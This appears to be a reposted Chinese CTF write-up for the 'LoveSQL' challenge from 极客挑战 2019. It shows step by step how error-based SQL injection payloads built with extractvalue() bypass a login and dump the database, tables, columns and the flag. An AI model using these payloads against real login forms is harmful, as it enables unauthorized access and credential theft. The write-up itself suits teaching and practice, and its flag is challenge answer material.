欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

练习 16 网络【极客挑战 2019】LoveSQL

最编程 2024-07-01 10:30:44
...

extractvalue(1,concat(‘~’, (‘your sql’) ) )报错注入,注意爆破字段的时候表名有可能是table_name不是table_schema

有登录输入框
常规尝试一下

常规的万能密码,返回了一个“admin的密码”:
Hello admin!
Your password is ‘f04b51f7f1de73ee7860c9eb023ea1c8’
在这里插入图片描述
没有任何有用信息
尝试报错注入 回顾 我的练习6

extractvalue(1,concat('~',(select(database()))))%23
#完整后缀
/check.php
?username=admin
&password=f04b51f7f1de73ee7860c9eb023ea1c8 
'or extractvalue(1,concat('~',(select(database()))))%23

成功返回数据库名’geek’
在这里插入图片描述
那继续沿用爆表:

#查表
select group_concat(table_name) from information_schema.tables where table_schema='geek'
#放到报错函数中
extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='geek')))%23

成功返回表名:应该是第二个用得上"l0ve1ysq1"
在这里插入图片描述
继续爆破字段:
这里还是要注意
最后是where table_name=‘l0ve1ysq1’
不是table_schema

select group_concat(column_name) from information_schema.columns where table_schema=database()

# 这里还是要注意最后是where table_name='l0ve1ysq1',不是table_schema
extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1')))%23

成功,继续看一下内容
在这里插入图片描述

select group_concat(password) fropm 'l0ve1ysq1' where id=1

extractvalue(1,concat('~',(select group_concat(password) from l0ve1ysq1 where id=1)))%23

这里一直尝试到id=16才找到flag 的一部分 '~flag{dba94064-c18c-4c85-8821-30'
id=17是无效的
所以也需要用到right函数显示后半部分 right(password,30)

在这里插入图片描述

extractvalue(1,concat('~',(select group_concat(right(password,30) )from l0ve1ysq1 where id=16)))%23

在这里插入图片描述

'~4-c18c-4c85-8821-301279f9a32a}'

拼接一下即可: flag{dba94064-c18c-4c85-8821-301279f9a32a}

End